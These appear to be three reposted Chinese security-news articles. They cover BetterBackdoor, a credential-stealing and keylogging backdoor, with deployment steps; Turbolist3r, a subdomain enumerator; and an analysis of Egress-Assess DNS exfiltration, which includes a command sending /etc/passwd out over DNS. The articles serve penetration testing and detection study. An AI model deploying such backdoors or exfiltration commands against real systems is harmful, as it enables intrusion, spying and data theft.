BetterBackdoor:一个专为渗透测试人员设计的多功能后门程序

BetterBackdoor:一个专为渗透测试人员设计的多功能后门程序

BetterBackdoor

BetterBackdoor是一款多功能的后门工具,广大安全研究人员可以利用BetterBackdoor来获取目标设备的远程访问权限。

一般来说,后门工具会利用类似NetCat这样的实用工具来实现两大主要功能:使用cmd或bash来实现控制命令的远程传递并接收响应信息。这种方式实现起来很容易,但是也会受到各种因素的限制。而BetterBackdoor成功克服了这种限制,并引入了击键注入、获取屏幕截图、传输文件以及其他的渗透任务。

功能介绍

BetterBackdoor可以直接帮助渗透测试人员创建并控制一个后门。

BetterBackdoor创建的后门工具可以实现下列功能:

1、运行终端命令行控制指令

2、运行PowerShell脚本

3、运行DuckyScripts来注入键盘击键操作

4、根据文件扩展名来提取文件

5、提取Microsoft Edge密码以及WiFi密码

6、向目标设备发送文件或接收目标设备发送过来的文件

7、开启键盘记录器

8、获取目标设备的屏幕截图

9、获取目标设备的剪切板数据

10、获取目标文件的内容(cat)

BetterBackdoor创建的后门由一个客户端和一个服务器端组成,双方通过套接字链接通信。渗透测试的发起方需要开启一个服务器端,目标设备需要以客户端的形式跟这台服务器建立连接。连接建立成功之后,渗透测试人员就可以从服务器端向目标设备发送控制命令来管理和控制后门程序了。

BetterBackdoor运行机制

首先,BetterBackdoor会创建一个“run.jar”文件,即后门jar文件,然后将其拷贝到“backdoor”目录中。接下来,将包含有服务器IP地址的文本文件添加进“run.jar”文件中,这里的IP地址是以明文形式写入的。

如果你想的话,你还可以将Java运行时环境拷贝至“backdoor”目录中,然后创建一个批处理文件“run.bat”来在封装的Java运行时环境中运行后门程序。

BetterBackdoor支持在一个单一网络,局域网,或互联网(广域网)下工作。如果你想要在广域网上使用BetterBackdoor,则必须进行端口转发。

若要使用广域网,必须在服务器端主机开启TCP,并使用端口1025和1026来进行端口转发。完成此操作之后,即使目标设备和渗透发起设备位于不同的网络上,渗透测试人员也可以控制后门。

要在目标设备上启动后门,请将“backdoor”目录下的所有文件传输到目标设备中。如果后门文件内封装有JRE环境,那么直接运行run.bat即可,否则请运行run.jar文件。运行完成之后,后门便会在目标设备上启动。

工具要求

1、Java JDK >= 8

2、生成后门与控制后门的设备必须是同一台,IP地址必须是保持静态不变的。

3、控制后门的设备必须关闭本机防火墙,如果在类Unix操作系统下运行的话,则需要使用“sudo”权限来运行BetterBackdoor。

兼容性

BetterBackdoor支持在Windows、macOS和Linux平台下运行,但生成的后门程序目前仅支持在Windows平台下工作。

工具下载与安装

使用下列命令将项目源码克隆至本地:

git clone https://github.com/ThatcherDev/BetterBackdoor.git

切换到项目所在的工作目录:

cd BetterBackdoor

使用Maven构建BetterBackdoor,Windows平台请运行下列命令:

mvnw.cmd clean package

Linux和macOS环境请运行下列命令完成BetterBackdoor的构建:

sh mvnw clean package

工具使用

java -jar betterbackdoor.jar

演示视频

视频地址:【点我观看

许可证协议

本项目的开发与发布遵循MIT开源许可证协议

项目地址

BetterBackdoor:【GitHub传送门

* 参考来源:ThatcherDev,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:BetterBackdoor:一个专为渗透测试人员设计的多功能后门程序

Turbolist3r:一款带有域名分析与发现功能的子域名枚举工具

Turbolist3r:一款带有域名分析与发现功能的子域名枚举工具

Turbolist3r

Turbolist3r是子域名发现工具sublist3r的一个分支,除了sublist3r原始的资源情报收集功能之外,Turbolist3r还集成了一些针对子域名发现的自动化分析功能。

Turbolist3r可以针对每一个发现的子域名来查询公共DNS服务器,如果目标子域名存在,那么将会生成已分类好的分析结果,其中包括CNAME和A记录等等。通过对A记录进行分析,我们将有可能发现潜在的渗透测试目标。

请注意,该工具切勿用于非法用途。

工具下载

广大用户可使用下列命令将该项目代码克隆至本地:

git clone https://github.com/fleetcaptain/Turbolist3r.git

工具依赖

Turbolist3r需要使用dnslib、requests和argparse这几个Python模块。其中,subbrute模块用于实现爆破功能。

dnslib模块

广大用户可以点击【这里】下载dnslib模块,或使用下列命令直接下载安装:

pip install dnslib

requests模块

Ubuntu/Debian安装:

sudo apt-get install python-requests

Centos/Redhat安装:

sudo yum install python-requests

Linux安装:

sudo pip install requests

argparse模块:

Ubuntu/Debian安装:

sudo yum install python-argparse

使用pip安装:

sudo pip install argparse

工具使用

短参数 长参数 描述
-d –domain 目标域名
-b –bruteforce 启用爆破模块
-p –ports 针对特定TCP端口扫描子域名
-v –verbose 启用verbose模式实时查看分析结果
-t –threads 子域名爆破需用的进程
-e –engines 指定搜索引擎
-o –output 将扫描结果存储至text文件中
-h –help 显示工具帮助信息
-a –analyze 进行逆向DNS分析并输出结果
(none) –saverdns 存储逆向DNS分析结果至特定文件
(none) –inputfile 从文件中读取目标域名,并进行分析
(none) –debug 调试模式
-r –resolvers IP解析
-q –quiet 静默模式

使用样例

查看工具的可选参数:

python turbolist3r.py -h

针对特定域名进行子域名分析,并存储输出结果:

python turbolist3r.py -d example.com -a --saverdns analysis_file.txt

从文件中读取目标域名:

python turbolist3r.py -d example.com -a --inputfile subdomains.txt

子域名枚举:

python turbolist3r.py -d example.com

子域名枚举,并存储扫描结果:

python turbolist3r.py -d example.com -o example_hosts.txt

子域名枚举,实时查看结果:

python turbolist3r.py -v -d example.com

子域名枚举,并启用爆破模式:

python turbolist3r.py -b -d example.com

使用特定搜索引擎完成子域名枚举:

python turbolist3r.py -e google,yahoo,virustotal -d example.com

工具运行截图

Turbolist3r:一款带有域名分析与发现功能的子域名枚举工具

Turbolist3r:一款带有域名分析与发现功能的子域名枚举工具

项目地址

Turbolist3r:【GitHub传送门

*参考来源:fleetcaptain,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:Turbolist3r:一款带有域名分析与发现功能的子域名枚举工具

基于DNS的数据泄露开源测试工具篇(四)

免责声明:本文作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容,作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的,对此不负任何法律责任。本文仅用于技术分享与讨论,严禁用于其他用途。

系列文章回顾:

基于DNS的数据泄露开源测试工具篇(一)

基于DNS的数据泄露开源测试工具篇(二)

基于DNS的数据泄露开源测试工具篇(三)

一、前言

在之前的文章中已经对DET、PyExfil和DNSExfiltrator三个开源项目利用DNS完成数据窃取进行了简要分析。本文将继续讨论如图1中所示的本次关注的最后一个开源工具Egress-Assess。

基于DNS的数据泄露开源测试工具篇(四)

图1 DET、PyExfil、DNSExfiltrator、Egress-Assess的首页展示

二、Egress-Assess简介

Egress-Assess是一个用于测试数据泄露检测能力的开源项目[1]。该项目搭建了基本框架,并实现了利用多种协议完成数据窃取,将该项目源码结构梳理如图2。从图2中可以看出,Egress-Assess项目实现的可利用协议主要有:dns、ftp、http、https、icmp、sftp、smb、smtp等,我们重点关注利用DNS完成数据窃取的部分。

基于DNS的数据泄露开源测试工具篇(四)

图2Egress-Assess项目概况

Egress-Assess采用C/S模式,运行工具需要先搭建服务端,然后客户端运行、参数配置后进行数据窃取。Egress-Assess的使用提示如图3,以利用DNS进行数据窃取为例:

DNS服务端使用命令启动:pythonEgress-Assess.py –server dns

启动客户端利用DNS发送窃密数据:python Egress-Assess.py–client dns –ip 1.1.1.1 –file /etc/passwd

基于DNS的数据泄露开源测试工具篇(四)

图3Egress-Assess使用提示

三、基于DNS的数据窃取的源码简要分析

Egress-Assess在利用DNS完成数据窃取时,服务端源码文件为protocols/servers/dns_server.py,它可以同时处理来自客户端的的TXT、A记录请求。而客户端则分别在Protocols/clients/dns_client.py、protocols/clients/dns_resolved.py中,实现了使用DNS TXT记录和A记录发送窃密数据的工作。

(一)服务端源码分析

服务端使用了DNSlib库,改进版本的服务端可以监听在53端口响应来自客户端的DNSTXT和A记录查询,并获取源自客户端的窃密数据包;然后提取、恢复文件数据,完成传输后恢复窃密文件到本地。服务端接收成功页面如图4。

基于DNS的数据泄露开源测试工具篇(四)

图4服务端接收成功的页面

对服务端源码文件protocols/servers/dns_server.py进行梳理,其源码概况如图5。

基于DNS的数据泄露开源测试工具篇(四)

图5 Egress-Assess服务端源码概况

总结Egress-Assess服务端工作的主要流程有:

1) 使用SocketServer库的ThreadUDPServer()方法建立多线程的socket,监听在53端口。实现部分是server类中的startDnsServer方法。

2) 对收到的UDP包进行预处理、提取请求数据。主要是具体实现SocketServer.BaseRequestHandler中的get_data()、send_data方法。

3) 文件数据接收准备。包括初始化一些全局量,并从UDP包中提取DNS部分。提取DNS部分的方法为handleDNSRequest()。

4) 根据DNS查询的不同记录类型(A记录、TXT记录),调用不同的函数handleDNSTXT()、handleDNSResolved()来进行文件数据存储、恢复。

【handleDNSTXT( )函数处理大致流程】:

1) 提取并解码DNS中的qname。

2) 若提取的qname中包含结束符”ENDTHISFILETRANSMISSIONEGRESSASSESS”,该qname的组成示例如图6;则从该qname中提取file_name,并调用writeFile函数将全局量FILE_DICT存储的文件数据块按序号依次写入本地文件。

基于DNS的数据泄露开源测试工具篇(四)

图6qname示例

3) 若qname中不包含分隔符“.:|:.”,则将解码数据写入一个以当前系统日期加上时间组成的txt文件中。

4) 若qname中包含分隔符”.:|:.”,切分后提取序号、文件数据存入全局字典变量FILE_DICT中。

【handleDNSResolved()函数处理流程】

1) 将收到的qname中的字符’.—’替换回“=”,此操作的原因是:避免base64编码后=与子域名中=的相互混淆。

2) 按“.”号切分qname,根据不同情况分别处理。

3) 若切分后列表parts[0]为结束符”ENDTHISFILETRANSMISSIONEGRESSASSESS”,则从parts[1]中提取文件名,并调用writeFile方法将全局量FILE_DICT中的文件数据块按序号恢复到本地文件。

4)对parts[0]进行base64解码,若包含分割符“.:|:.”,则按分隔符再次切分,提取序号、文件数据块,并存入全局量FILE_DICT。

(二)客户端源码简要分析

客户端通过不同的参数’dns’、’dns_resolved’分别启动利用DNS TXT记录、A记录窃取数据。分别对应文件protocols/clients/dns_client.py和protocols/client/dns_resolved.py。通过源码分析发现,两份源码思路类似,不同点主要体现在对数据的嵌入、利用A记录两方面。以下整理部分将已利用DNS TXT记录为例展开简要分析。

基于DNS的数据泄露开源测试工具篇(四)

图7dns_client.py源码概况

梳理dns_client.py的源码概况如图7,整理客户端发送窃密数据的主要流程:

1) 初始化准备。主要包括命令行参数读取、限定值初始化、提取文件等。

2) 通过–ip指定的参数,若为域名,则先通过DNS查询解析该域名,获得服务端ip地址。

3) 通过限定值、文件数据信息,计算文件块(所需发送的DNS请求包)总数。

4) 按 3)计算值,对每个文件数据块进行编码后嵌入到DNS TXT查询包中,并发送该请求包到服务端,其中文件块数据包的组成结构如图8。

基于DNS的数据泄露开源测试工具篇(四)

图8文件块数据包的组成结构

5) 发送结束包,标识文件块传输结束;服务端通过识别该包中的结束符启动文件数据恢复。其中,结束包的组成结构如图9。

基于DNS的数据泄露开源测试工具篇(四)

图9结束包的组成结构

思考与总结:

Egress-Assess优势分析:

1)使用SocketServer库的多线程可以并行处理收到的数据包。

2)直接传送文件数据,而无需第一个初始化包。

Egress-Assess的不足之处:

没有加入文件数据校验,在网络环境较差的情况下,可能致使窃取的文件不完整而不自知。

参考链接:

[1] Egress-Assess项目github地址

*本文作者:GZHU/asUwIll,转载请注明来自FreeBuf.COM

本文来源于互联网:基于DNS的数据泄露开源测试工具篇(四)